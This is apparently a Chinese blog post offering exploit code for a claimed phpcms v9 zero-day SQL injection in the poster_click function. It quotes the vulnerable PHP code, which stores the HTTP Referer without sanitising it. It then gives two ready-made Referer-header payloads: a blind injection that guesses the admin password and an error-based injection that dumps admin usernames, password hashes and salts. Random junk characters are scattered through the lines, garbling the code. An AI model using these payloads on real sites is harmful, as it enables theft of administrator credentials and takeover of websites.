phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
2 \0 e! d3 s9 V1 v$ j( A
6 y  {7 x5 Y9 ~public function poster_click() {
/ Z' e7 D( |- l5 ^! L* A# p$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
" E. P9 `& ~3 ~6 d, J7 M* {$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
" t  l! r6 Z9 O$ip = ip();
% K$ C% u& r, }5 r5 w: I$ l$area = $ip_area->get($ip);
- J. Y+ u) A% {+ s$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
( u% z+ A/ ~, i  O# {$ y}
/ r9 E( h- M! S( y& Z* t5 C4 x$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
( b( M9 H8 d  {5 z$setting = string2array($r['setting']);
$ h/ y. W* L( @& ]" W) Y; Pif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
- n, q% Q5 r9 w3 z  B$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
; y4 y# W- R8 ^( F2 }header('Location: '.$url);
}
& o! ~# {+ O5 T' \
, ~, Q) @2 G/ v
" q# F4 o) W' y9 \- U; b7 P3 i
" [5 c1 c  q, f9 U+ E, U( D! l利用方式：
2 c9 `- a3 N5 k& t# i3 \6 N  B
8 |- ]" g3 {0 c) @1、可以采用盲注入的手法：
! c5 P' u6 ^* E& w+ K6 F
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
& T1 ?" `$ N3 Z1 L0 H# h% t
2 P  F' k% v2 M9 g% m通过返回页面，正常与否一个个猜解密码字段。
  d9 Y; w! J2 T8 u
" i( i; g; k$ g3 C; }2、代码是花开写的，随手附上了：
  W( W/ _  v+ K# J% \7 w8 c
. _  ?$ D! u3 o( @% ^& _1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
